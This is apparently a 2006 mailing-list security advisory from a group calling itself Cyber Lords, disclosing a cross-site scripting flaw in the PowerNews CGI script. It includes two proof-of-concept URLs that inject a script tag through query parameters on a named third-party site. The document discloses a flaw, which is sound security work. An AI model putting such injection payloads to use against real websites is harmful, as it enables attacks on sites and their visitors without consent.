Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

XSS in ssLinks v1.22

XSS in Calendar Event 3.0

[SA19392] Mambo AkoComment Module SQL Injection Vulnerabilities

[SA19423] Greymatter gm-upload.cgi File Upload Vulnerability

From:	Cyber Lords <fear_(at)_cyberlords.net>
Date:	28.03.2006
Subject:	XSS in PowerNews

Advisory: XSS in PowerNews

Home Page: http://www.perplexian.com/powernews/

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

Уязвимый скрипт/Vulnerable script: powernews.cgi

http://www.medhorizons.com/cgi-bin/powernews.cgi?Press+Releases"><scri
pt>alert()</script><"

http://www.medhorizons.com/cgi-bin/powernews.cgi?Press%2BReleases=&query=
"><script>alert()</script><"


--------------------------
Cyber Lords Team
www.cyberlords.net  

--
Best regards,
fear                          mailto:fear@cyberlords.net